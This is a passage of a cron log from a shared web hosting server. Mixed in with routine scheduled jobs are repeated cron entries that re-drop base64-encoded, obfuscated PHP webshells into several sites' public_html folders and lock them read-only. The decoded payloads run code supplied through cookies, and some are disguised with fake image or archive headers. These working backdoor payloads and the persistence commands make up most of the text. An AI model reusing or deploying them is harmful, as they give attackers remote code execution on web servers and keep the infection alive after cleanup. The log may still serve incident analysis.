"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:45:02 medusa CROND[11499]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 19:45:02 medusa CROND[11507]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:45:02 medusa CROND[11508]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 19:45:02 medusa CROND[11504]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 19:45:02 medusa CROND[11512]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 19:45:02 medusa CROND[11505]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 19:45:02 medusa CROND[11510]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 19:45:02 medusa CROND[11509]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 19:45:02 medusa CROND[11521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:45:02 medusa CROND[11522]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:45:02 medusa CROND[11523]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:45:02 medusa CROND[11520]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 19:45:02 medusa CROND[11528]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:45:02 medusa CROND[11531]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:46:01 medusa CROND[16956]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:46:01 medusa CROND[17172]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 19:46:01 medusa CROND[17173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:46:01 medusa CROND[17178]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:46:01 medusa CROND[17180]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 19:46:01 medusa CROND[17181]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:46:01 medusa CROND[17183]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:46:01 medusa CROND[17185]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:46:01 medusa CROND[17189]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:46:01 medusa CROND[17194]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:46:01 medusa CROND[17195]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:46:01 medusa CROND[17196]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 19:46:01 medusa CROND[17198]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:46:01 medusa CROND[17202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:46:01 medusa CROND[17204]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:47:01 medusa CROND[24017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:47:01 medusa CROND[24018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:47:01 medusa CROND[24021]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:47:01 medusa CROND[24025]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:47:01 medusa CROND[24026]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
